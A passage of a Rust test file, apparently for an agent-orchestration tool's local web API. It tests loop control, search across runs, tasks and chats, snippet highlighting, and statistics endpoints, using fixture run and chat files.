17595 "a loop that was asked to stop did not fail: {view}"
17596 );
17597
17598 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17601 assert_eq!(twice.status, 200, "{}", twice.body);
17602 }
17603
17604 #[tokio::test]
17605 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
17606 let f = Fixture::start().await;
17607 write_daemon(f.home.path(), Timestamp::now());
17610
17611 let view = f.get("/api/loop").await.json();
17612 assert_eq!(view["running"], false, "not in this process: {view}");
17613 assert_eq!(view["owned"], false, "and not this process's to control");
17614 assert_eq!(
17615 view["daemon"]["running"], true,
17616 "but a loop is alive somewhere, which is what the UI must say"
17617 );
17618 assert_eq!(view["daemon"]["pid"], 4242);
17619
17620 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
17621 let res = f.post("/api/loop", Some(body)).await;
17622 assert_eq!(
17623 res.status, 409,
17624 "neither button may pretend to work on someone else's loop: {}",
17625 res.body
17626 );
17627 assert!(
17628 res.json()["error"]
17629 .as_str()
17630 .is_some_and(|e| e.contains("4242")),
17631 "the refusal has to name the process the operator must go to: {}",
17632 res.body
17633 );
17634 }
17635 assert_eq!(
17636 f.get("/api/loop").await.json()["running"],
17637 false,
17638 "and the refusal started nothing"
17639 );
17640 }
17641
17642 #[tokio::test]
17643 async fn a_stale_status_file_is_not_a_foreign_owner() {
17644 let f = Fixture::start().await;
17645 write_daemon(
17646 f.home.path(),
17647 Timestamp::now() - jiff::SignedDuration::from_secs(60),
17648 );
17649
17650 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17651 assert_eq!(
17652 res.status, 200,
17653 "a daemon killed a minute ago must not lock the loop out of its \
17654 own home for good: {}",
17655 res.body
17656 );
17657 assert_eq!(res.json()["running"], true);
17658
17659 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17660 }
17661
17662 #[tokio::test]
17663 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
17664 let f = Fixture::start().await;
17665 let before = f.get("/api/health").await.json()["loop_rev"]
17666 .as_u64()
17667 .expect("a loop revision");
17668
17669 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17670
17671 let after = f.get("/api/health").await.json()["loop_rev"]
17672 .as_u64()
17673 .expect("a loop revision");
17674 assert!(
17675 after > before,
17676 "the loop is in-process state, so this counter is the only thing \
17677 that tells a second device the first one started it: {before} -> \
17678 {after}"
17679 );
17680
17681 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17682 }
17683
17684 #[tokio::test]
17685 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
17686 let f = Fixture::with_loop(launch_broken).await;
17687
17688 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17689 assert_eq!(
17690 res.status, 200,
17691 "starting it is not the failure: {}",
17692 res.body
17693 );
17694
17695 let view = settled(&f, |v| v["last_error"].is_string()).await;
17696 assert_eq!(
17697 view["running"], false,
17698 "a loop that died must not read as running, or the operator has \
17699 nothing to press: {view}"
17700 );
17701 assert_eq!(view["owned"], false);
17702 assert!(
17703 view["last_error"]
17704 .as_str()
17705 .is_some_and(|e| e.contains("read-only file system")),
17706 "the phone is where a loop that died at 3am is visible: {view}"
17707 );
17708
17709 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17712 assert_eq!(again.status, 200, "{}", again.body);
17713 assert!(
17714 again.json()["last_error"]
17715 .as_str()
17716 .is_none_or(|e| !e.contains("read-only file system")),
17717 "a fresh start does not keep showing why the last one died: {}",
17718 again.body
17719 );
17720 }
17721
17722 #[tokio::test]
17723 async fn a_newer_daemon_status_file_still_renders() {
17724 let f = Fixture::start().await;
17725 std::fs::write(
17728 f.home.path().join("daemon.json"),
17729 serde_json::json!({
17730 "schema": 2,
17731 "updated_at": Timestamp::now().to_string(),
17732 "idle": true,
17733 "surprise": { "nested": [1, 2, 3] },
17734 })
17735 .to_string(),
17736 )
17737 .expect("write daemon.json");
17738
17739 let health = f.get("/api/health").await;
17740
17741 assert_eq!(health.status, 200);
17742 assert_eq!(health.json()["daemon"]["running"], true);
17743 }
17744
17745 #[tokio::test]
17746 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
17747 let f = Fixture::start().await;
17748 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
17749 let broken = f.runs().join("20260902-140502-bad");
17750 std::fs::create_dir_all(&broken).expect("run dir");
17751 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
17752
17753 let list = f.get("/api/runs").await;
17754 let detail = f.get("/api/runs/20260902-140502-bad").await;
17755
17756 assert_eq!(list.status, 200);
17757 let listed = list.json();
17758 let ids: Vec<&str> = listed
17759 .as_array()
17760 .expect("an array")
17761 .iter()
17762 .map(|r| r["id"].as_str().expect("an id"))
17763 .collect();
17764 assert_eq!(
17765 ids,
17766 vec!["20260902-140501-good"],
17767 "one unreadable run must not cost the operator the whole history"
17768 );
17769 assert_eq!(detail.status, 500);
17770 assert!(
17771 detail.json()["error"]
17772 .as_str()
17773 .is_some_and(|e| e.contains("run.json")),
17774 "the failure names the file to look at: {}",
17775 detail.body
17776 );
17777 let health = f.get("/api/health").await;
17781 assert_eq!(health.json()["runs_unreadable"], 1);
17782 }
17783
17784 #[tokio::test]
17786 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
17787 let f = Fixture::start().await;
17788 let runs = f.runs();
17789 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
17790 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
17791 let path = runs.join("20260902-140502-bbbb").join("run.json");
17794 let mut v: serde_json::Value =
17795 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
17796 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
17797 std::fs::write(&path, v.to_string()).unwrap();
17798 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
17799 std::fs::write(
17800 runs.join("20260902-140503-cccc").join("run.json"),
17801 "{ not json",
17802 )
17803 .unwrap();
17804
17805 let res = f.get("/api/search?scope=runs&q=quokka").await;
17806 assert_eq!(res.status, 200, "{}", res.body);
17807 let v = res.json();
17808 assert_eq!(v["total"], 1, "{v}");
17809 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
17810 assert_eq!(v["hits"][0]["field"], "text");
17811 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
17812 let parts = v["hits"][0]["snippet"].as_array().unwrap();
17813 assert!(
17814 parts
17815 .iter()
17816 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
17817 "{v}"
17818 );
17819 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
17820 assert_eq!(
17821 flat, "The Quokka leaks across threads",
17822 "whitespace is collapsed"
17823 );
17824
17825 let both = f
17827 .get("/api/search?scope=runs&q=MOBILE%20quokka")
17828 .await
17829 .json();
17830 assert_eq!(both["total"], 1, "{both}");
17831 let neither = f
17832 .get("/api/search?scope=runs&q=quokka%20zebra")
17833 .await
17834 .json();
17835 assert_eq!(neither["total"], 0, "{neither}");
17836 let stmt = f
17838 .get("/api/search?scope=runs&q=mobile%20first")
17839 .await
17840 .json();
17841 assert_eq!(stmt["total"], 2, "{stmt}");
17842 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
17843 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
17844 }
17845
17846 #[test]
17847 fn snippet_ignores_terms_longer_than_the_field() {
17848 let terms = ["ok".to_owned(), "elephant".to_owned()];
17849 let parts = snippet_of("ok", &terms);
17850 assert_eq!(
17851 parts,
17852 vec![SnippetPart {
17853 text: "ok".to_owned(),
17854 hit: true
17855 }]
17856 );
17857 }
17858
17859 #[test]
17860 fn snippet_marks_matches_longer_than_the_window() {
17861 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
17862 let hit_len = |parts: &[SnippetPart]| -> usize {
17863 parts
17864 .iter()
17865 .filter(|p| p.hit)
17866 .map(|p| p.text.chars().count())
17867 .sum()
17868 };
17869 let total =
17870 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
17871
17872 let long = "a".repeat(120);
17873 let parts = snippet_of(&long, std::slice::from_ref(&long));
17874 assert!(hit_len(&parts) > 0, "{parts:?}");
17875 assert!(total(&parts) <= cap);
17876
17877 let ja = "あ".repeat(130);
17878 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
17879 assert!(hit_len(&parts) > 0, "{parts:?}");
17880 assert!(total(&parts) <= cap);
17881
17882 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
17884 let term = format!("ab{}", "c".repeat(100));
17885 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
17886 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
17887 assert!(total(&parts) <= cap);
17888
17889 let text = format!("{}z", "a".repeat(119));
17891 let parts = snippet_of(&text, &["a".repeat(120)]);
17892 assert_eq!(hit_len(&parts), 0, "{parts:?}");
17893 }
17894
17895 #[tokio::test]
17896 async fn search_caps_hits_and_snippet_length() {
17897 let f = Fixture::start().await;
17898 let runs = f.runs();
17899 for n in 0..(SEARCH_MAX_HITS + 5) {
17900 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
17901 }
17902 let v = f.get("/api/search?scope=runs&q=web").await.json();
17903 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
17904 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
17905 assert_eq!(v["truncated"], true);
17906 assert!(
17908 v["hits"]
17909 .as_array()
17910 .unwrap()
17911 .iter()
17912 .all(|h| h["run"]["status"] == "merged")
17913 );
17914
17915 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
17916 let parts = snippet_of(&long, &["needle".to_owned()]);
17917 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
17918 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
17919 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
17920 }
17921
17922 #[tokio::test]
17923 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
17924 let f = Fixture::start().await;
17925 let queue = f.queue();
17926 let mut t = Task::new(
17927 "short title".to_owned(),
17928 "line one\nthe hidden Armadillo detail".to_owned(),
17929 PathBuf::from("/repo/magi"),
17930 Source::Agent {
17931 run: "r1".to_owned(),
17932 node: "chat".to_owned(),
17933 },
17934 );
17935 t.last_error = Some("disk full on /tmp".to_owned());
17936 queue.put(&mut t).expect("file the task");
17937
17938 for (q, want) in [
17939 ("armadillo", 1),
17940 ("disk%20FULL", 1),
17941 ("chat", 1),
17942 ("queued", 1),
17943 ("short%20nothing", 0),
17944 ] {
17945 let v = f
17946 .get(&format!("/api/search?scope=tasks&q={q}"))
17947 .await
17948 .json();
17949 assert_eq!(v["total"], want, "{q}: {v}");
17950 }
17951 for bad in [
17952 "/api/search?scope=tasks&q=",
17953 "/api/search?scope=tasks&q=%20",
17954 "/api/search?scope=chats&q=",
17955 "/api/search?scope=chats&q=%20",
17956 "/api/search?scope=nope&q=a",
17957 "/api/search?q=a",
17958 ] {
17959 assert_eq!(f.get(bad).await.status, 400, "{bad}");
17960 }
17961 }
17962
17963 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
17965 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
17966 .expect("seat value");
17967 let turns: Vec<serde_json::Value> = turns
17968 .iter()
17969 .map(|(who, body)| {
17970 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
17971 })
17972 .collect();
17973 let doc = serde_json::json!({
17974 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
17975 "status": status, "turns": turns,
17976 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
17977 "seat": seat,
17978 });
17979 let dir = f.home.path().join("talks");
17980 std::fs::create_dir_all(&dir).expect("talks dir");
17981 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
17982 }
17983
17984 #[tokio::test]
17985 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
17986 let f = Fixture::start().await;
17987 write_talk(
17988 &f,
17989 "20260901-000001-aaaa",
17990 "open",
17991 &[
17992 (
17993 "operator",
17994 "\n Why does the Pangolin cache expire?\nsecond line",
17995 ),
17996 ("agent", "Because the TTL is thirty seconds."),
17997 ],
17998 );
17999 write_talk(
18000 &f,
18001 "20260901-000002-bbbb",
18002 "closed",
18003 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
18004 );
18005 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
18006
18007 let search = |q: &'static str| {
18008 let f = &f;
18009 async move {
18010 f.get(&format!("/api/search?scope=chats&q={q}"))
18011 .await
18012 .json()
18013 }
18014 };
18015
18016 let v = search("PANGOLIN").await;
18017 assert_eq!(v["scope"], "chats");
18018 assert_eq!(v["total"], 1, "{v}");
18019 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
18020 assert_eq!(v["hits"][0]["field"], "title");
18021 assert_eq!(v["unreadable"], 1, "{v}");
18022 let marked: Vec<&str> = v["hits"][0]["snippet"]
18023 .as_array()
18024 .unwrap()
18025 .iter()
18026 .filter(|p| p["hit"] == true)
18027 .map(|p| p["text"].as_str().unwrap())
18028 .collect();
18029 assert_eq!(marked, ["Pangolin"]);
18030
18031 let v = search("zebra").await;
18033 assert_eq!(v["total"], 1, "{v}");
18034 assert_eq!(v["hits"][0]["field"], "agent");
18035 assert_eq!(search("pangolin%20thirty").await["total"], 1);
18037 assert_eq!(search("pangolin%20zebra").await["total"], 0);
18038 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
18040 assert_eq!(search(q).await["total"], 0, "{q}");
18041 }
18042 assert_eq!(search("second").await["hits"][0]["field"], "operator");
18044 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
18046
18047 let v = f.get("/api/search?scope=nope&q=a").await;
18048 assert_eq!(v.status, 400);
18049 assert!(
18050 v.body.contains("scope must be runs, tasks or chats"),
18051 "{}",
18052 v.body
18053 );
18054 }
18055
18056 #[test]
18057 fn a_question_card_links_a_task_id_to_the_task_page() {
18058 let start = APP_JS
18059 .find("function updateAskCard(")
18060 .expect("updateAskCard exists");
18061 let body = &APP_JS[start..];
18062 let body = &body[..body.find("\n}\n").expect("function end")];
18063 assert!(body.contains("question.run_is_task"));
18064 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
18065 assert!(body.contains("`#/runs/${question.run}`"));
18066 assert!(body.contains("\"task\" : \"run\""));
18067 }
18068
18069 #[test]
18070 fn plain_text_message_surfaces_go_through_linkify() {
18071 assert!(APP_JS.contains("function linkify("));
18072 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
18073 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
18074 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
18075 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
18076 assert!(!APP_JS.contains("innerHTML = text"));
18077 }
18078
18079 #[test]
18080 fn implementation_rate_views_keep_independent_samples() {
18081 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
18082 let a = stats::AgentStats {
18083 competitive_entered: competitive_n,
18084 competitive_wins: usize::from(competitive_n > 0),
18085 solo_entered: solo_n,
18086 solo_adopted: 2 * usize::from(solo_n > 0),
18087 ..Default::default()
18088 };
18089 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
18090 for (key, n, numerator) in [
18091 ("competitive_win_rate", competitive_n, a.competitive_wins),
18092 ("solo_adoption_rate", solo_n, a.solo_adopted),
18093 ] {
18094 if n == 0 {
18095 assert!(v[key].is_null());
18096 } else {
18097 assert_eq!(v[key]["denominator"], n);
18098 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
18099 }
18100 }
18101 }
18102 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
18103 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
18104 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
18105 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
18106 }
18107
18108 #[test]
18109 fn stats_bars_share_one_id_keyed_plan() {
18110 let start = APP_JS
18111 .find("function statsBarRows(")
18112 .expect("statsBarRows exists");
18113 let body = &APP_JS[start..];
18114 let body = &body[..body.find("\n}\n").expect("function end")];
18115 assert!(body.contains("statsBarPlan(rows)"));
18116 assert!(body.contains("statsAgentTone(row.agent)"));
18117 assert!(!body.contains("candTone(i)"));
18118 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
18119 for root in [
18120 "stats-agents-bars",
18121 "stats-solo-bars",
18122 "stats-reviewers-bars",
18123 ] {
18124 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
18125 }
18126 }
18127
18128 #[test]
18129 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
18130 let start = APP_JS
18131 .find("function renderStatsReviewerScatter(")
18132 .expect("renderStatsReviewerScatter exists");
18133 let body = &APP_JS[start..];
18134 let body = &body[..body.find("\n}\n").expect("function end")];
18135 assert!(body.contains("statsScatterPlan(reviewers)"));
18136 assert!(body.contains("statsAgentTone(d.agent)"));
18137 assert!(APP_JS.contains("function statsScatterPlan("));
18138 assert!(
18139 APP_JS.contains("d.submitted < STATS_LOW_N")
18140 || APP_JS.contains("r.submitted < STATS_LOW_N")
18141 );
18142 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
18143 assert!(APP_CSS.contains(".precision-scatter"));
18144 }
18145
18146 #[test]
18147 fn advisor_reflection_is_drawn_as_stacked_segments() {
18148 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
18149 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
18150 let html = include_str!("../assets/ui/index.html");
18151 assert!(html.contains("Approximate"));
18152 for label in ["reflected strongly", "faint", "no proposal"] {
18153 assert!(html.contains(label));
18154 }
18155 let css = include_str!("../assets/ui/app.css");
18156 for c in ["refl-strong", "refl-faint", "refl-absent"] {
18157 assert!(css.contains(&format!(".{c} {{")));
18158 }
18159 }
18160
18161 #[test]
18162 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
18163 assert!(APP_JS.contains("function statsDailyPlan("));
18164 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
18165 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
18166 }
18167
18168 #[test]
18169 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
18170 let start = APP_JS
18171 .find("function scheduleSearch(")
18172 .expect("scheduleSearch exists");
18173 let body = &APP_JS[start..];
18174 let body = &body[..body.find("\n}\n").expect("function end")];
18175 assert!(body.contains("s.seq += 1"));
18176 }
18177
18178 #[tokio::test]
18183 async fn stats_runs_unreadable_matches_health() {
18184 let f = Fixture::start().await;
18185 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18186 let broken = f.runs().join("20260902-140502-bad");
18187 std::fs::create_dir_all(&broken).expect("run dir");
18188 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18189
18190 let stats = f.get("/api/stats").await;
18191 let health = f.get("/api/health").await;
18192
18193 assert_eq!(stats.status, 200);
18194 assert_eq!(stats.json()["totals"]["runs"], 1);
18195 assert_eq!(stats.json()["runs_unreadable"], 1);
18196 assert_eq!(
18197 stats.json()["runs_unreadable"],
18198 health.json()["runs_unreadable"],
18199 "the dashboard and /api/health must never disagree about how many \
18200 runs could not be read"
18201 );
18202 }
18203
18204 #[tokio::test]
18205 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
18206 let f = Fixture::start().await;
18207 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18208 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
18209 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
18210
18211 let totals = &f.get("/api/stats").await.json()["totals"];
18212 assert_eq!(totals["runs"], 3);
18213 assert_eq!(totals["merged"], 1);
18214 assert_eq!(totals["stalled"], 1);
18215 assert_eq!(totals["in_progress"], 1);
18216 assert_eq!(totals["blocked"], 0);
18219 assert_eq!(totals["ready"], 0);
18220 }
18221
18222 #[tokio::test]
18223 async fn stats_advisors_report_proposals_and_reflection() {
18224 use crate::advise::{Advice, AdvisorRecord, Reflection};
18225 use crate::verdict::Proposal;
18226
18227 let f = Fixture::start().await;
18228 let mut state = RunState::new(
18229 PathBuf::from("/repo/magi"),
18230 "main".to_owned(),
18231 "0123456789abcdef".to_owned(),
18232 "task".to_owned(),
18233 Config::default(),
18234 );
18235 state.id = "20260902-140501-a".to_owned();
18236 state.status = RunStatus::Merged;
18237 state.advice = Some(Advice {
18238 records: vec![
18239 AdvisorRecord {
18240 seat: "advisor-1".to_owned(),
18241 agent: "alpha".to_owned(),
18242 proposal: Some(Proposal {
18243 approach: "do it".to_owned(),
18244 key_tradeoff: "speed over memory".to_owned(),
18245 risks: Vec::new(),
18246 touches: Vec::new(),
18247 why_not_naive: "breaks under load".to_owned(),
18248 }),
18249 error: None,
18250 duration_ms: 0,
18251 reflection: Reflection::Strong,
18252 },
18253 AdvisorRecord {
18254 seat: "advisor-2".to_owned(),
18255 agent: "alpha".to_owned(),
18256 proposal: None,
18257 error: Some("timed out".to_owned()),
18258 duration_ms: 0,
18259 reflection: Reflection::Absent,
18260 },
18261 ],
18262 synthesis: Some("blended brief".to_owned()),
18263 });
18264 let dir = f.runs().join(&state.id);
18265 std::fs::create_dir_all(&dir).expect("run dir");
18266 std::fs::write(
18267 dir.join("run.json"),
18268 serde_json::to_string_pretty(&state).expect("serialize run"),
18269 )
18270 .expect("write run.json");
18271
18272 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
18274 let alpha = advisors
18275 .as_array()
18276 .expect("an array")
18277 .iter()
18278 .find(|a| a["agent"] == "alpha")
18279 .expect("alpha row");
18280 assert_eq!(alpha["seated"], 2);
18281 assert_eq!(alpha["proposed"], 1);
18282 assert_eq!(alpha["absent"], 1);
18283 assert_eq!(alpha["strong"], 1);
18284 assert_eq!(alpha["faint"], 0);
18285 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
18286 }
18287
18288 #[tokio::test]
18289 async fn stats_hides_agents_outside_the_roster_unless_all() {
18290 use crate::run::Candidate;
18291 let repo = TempDir::new().expect("repo dir");
18292 std::fs::write(
18293 repo.path().join("magi.toml"),
18294 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
18295 )
18296 .expect("magi.toml");
18297 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
18298 let mut state = RunState::new(
18299 PathBuf::from("/repo/magi"),
18300 "main".to_owned(),
18301 "0123456789abcdef".to_owned(),
18302 "task".to_owned(),
18303 Config::default(),
18304 );
18305 state.id = "20260902-140501-a".to_owned();
18306 state.status = RunStatus::Merged;
18307 for (label, agent) in [('A', "keep"), ('B', "retired")] {
18308 let mut c: Candidate = serde_json::from_value(serde_json::json!({
18309 "index": 0, "label": label.to_string(), "agent": agent,
18310 "branch": "b", "worktree": "/w",
18311 }))
18312 .expect("candidate");
18313 c.label = label;
18314 state.candidates.push(c);
18315 }
18316 let dir = f.runs().join(&state.id);
18317 std::fs::create_dir_all(&dir).expect("run dir");
18318 std::fs::write(
18319 dir.join("run.json"),
18320 serde_json::to_string_pretty(&state).expect("serialize run"),
18321 )
18322 .expect("write run.json");
18323
18324 let agents_of = |v: &serde_json::Value| -> Vec<String> {
18325 v["agents"]
18326 .as_array()
18327 .expect("array")
18328 .iter()
18329 .map(|a| a["agent"].as_str().unwrap().to_owned())
18330 .collect()
18331 };
18332 let hidden = f.get("/api/stats").await.json();
18333 assert_eq!(agents_of(&hidden), ["keep"]);
18334 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
18335 assert_eq!(hidden["totals"]["runs"], 1);
18336
18337 let all = f.get("/api/stats?all=true").await.json();
18338 assert_eq!(agents_of(&all).len(), 2);
18339 assert_eq!(all["retired_hidden"], serde_json::json!([]));
18340 let keep_agent = all["agents"]
18342 .as_array()
18343 .unwrap()
18344 .iter()
18345 .find(|a| a["agent"] == "keep")
18346 .unwrap();
18347 assert_eq!(keep_agent["competitive_entered"], 1);
18348 assert_eq!(keep_agent["competitive_wins"], 0);
18349 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
18350 assert_eq!(keep_agent["solo_entered"], 0);
18351 assert_eq!(keep_agent["solo_adopted"], 0);
18352 assert!(keep_agent["solo_adoption_rate"].is_null());
18353 }
18354
18355 #[tokio::test]
18356 async fn stats_release_bumps_split_clean_from_attention() {
18357 use crate::run::ReleaseBump;
18358
18359 let f = Fixture::start().await;
18360
18361 let mut clean = RunState::new(
18362 PathBuf::from("/repo/magi"),
18363 "main".to_owned(),
18364 "0123456789abcdef".to_owned(),
18365 "task".to_owned(),
18366 Config::default(),
18367 );
18368 clean.id = "20260902-140501-a".to_owned();
18369 clean.status = RunStatus::Merged;
18370 clean.release_bump = Some(ReleaseBump {
18371 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
18372 version: Some("1.0.0".to_owned()),
18373 automerge_enabled: true,
18374 merged_directly: false,
18375 local: false,
18376 release: None,
18377 problem: None,
18378 action_required: None,
18379 skipped: None,
18380 });
18381
18382 let mut blocked = RunState::new(
18383 PathBuf::from("/repo/magi"),
18384 "main".to_owned(),
18385 "0123456789abcdef".to_owned(),
18386 "task".to_owned(),
18387 Config::default(),
18388 );
18389 blocked.id = "20260902-140502-b".to_owned();
18390 blocked.status = RunStatus::Merged;
18391 blocked.release_bump = Some(ReleaseBump {
18392 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
18393 version: Some("1.0.1".to_owned()),
18394 automerge_enabled: false,
18395 merged_directly: false,
18396 local: false,
18397 release: None,
18398 problem: Some("checks red".to_owned()),
18399 action_required: Some("look at the PR".to_owned()),
18400 skipped: None,
18401 });
18402
18403 for state in [&clean, &blocked] {
18404 let dir = f.runs().join(&state.id);
18405 std::fs::create_dir_all(&dir).expect("run dir");
18406 std::fs::write(
18407 dir.join("run.json"),
18408 serde_json::to_string_pretty(state).expect("serialize run"),
18409 )
18410 .expect("write run.json");
18411 }
18412
18413 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18414 assert_eq!(bumps["merged"], 2);
18415 assert_eq!(bumps["recorded"], 2);
18416 assert_eq!(bumps["pr_opened"], 2);
18417 assert_eq!(bumps["automerge_enabled"], 1);
18418 assert_eq!(bumps["needs_attention"], 1);
18419 assert_eq!(bumps["clean"], 1);
18420 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
18421 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
18422 }
18423
18424 #[tokio::test]
18425 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
18426 let f = Fixture::start().await;
18427 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18428
18429 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18430 assert_eq!(bumps["merged"], 1);
18431 assert_eq!(bumps["recorded"], 0);
18432 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
18435 assert_eq!(bumps["automerge_rate"], Value::Null);
18438 assert_eq!(bumps["attention_rate"], Value::Null);
18439 }
18440
18441 #[tokio::test]
18442 async fn stats_queue_counts_come_from_the_live_queue() {
18443 let f = Fixture::start().await;
18444 let q = f.queue();
18445 let mut queued = Task::new(
18446 "queued task".to_owned(),
18447 "do it".to_owned(),
18448 PathBuf::from("/repo"),
18449 Source::Human,
18450 );
18451 q.put(&mut queued).expect("put queued");
18452 let mut held = Task::new(
18453 "held task".to_owned(),
18454 "do it later".to_owned(),
18455 PathBuf::from("/repo"),
18456 Source::Human,
18457 );
18458 held.hold_machine(Some("out of attempts".to_owned()));
18459 q.put(&mut held).expect("put held");
18460
18461 let queue = f.get("/api/stats").await.json()["queue"].clone();
18462 assert_eq!(queue["queued"], 1);
18463 assert_eq!(queue["held"], 1);
18464 assert_eq!(queue["running"], 0);
18465 assert_eq!(queue["done"], 0);
18466 assert_eq!(queue["failed"], 0);
18467 assert_eq!(queue["blocked"], 0);
18468 }
18469
18470 #[tokio::test]
18471 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
18472 let f = Fixture::start().await;
18473 let stats = f.get("/api/stats").await;
18474 assert_eq!(stats.status, 200);
18475 assert_eq!(stats.json()["totals"]["runs"], 0);
18476 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
18477 assert_eq!(stats.json()["runs_unreadable"], 0);
18478 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
18479 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
18480 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
18481 assert_eq!(stats.json()["repo"], Value::Null);
18482 }
18483
18484 #[tokio::test]
18485 async fn stats_lists_every_repository_with_runs_recorded() {
18486 let f = Fixture::start().await;
18487 write_run_repo(
18488 &f.runs(),
18489 "20260902-140501-a",
18490 RunStatus::Merged,
18491 "/repos/a",
18492 );
18493 write_run_repo(
18494 &f.runs(),
18495 "20260902-140502-b",
18496 RunStatus::Merged,
18497 "/repos/a",
18498 );
18499 write_run_repo(
18500 &f.runs(),
18501 "20260902-140503-c",
18502 RunStatus::Blocked,
18503 "/repos/b",
18504 );
18505
18506 let stats = f.get("/api/stats").await;
18507 assert_eq!(stats.status, 200);
18508 assert_eq!(stats.json()["totals"]["runs"], 3);
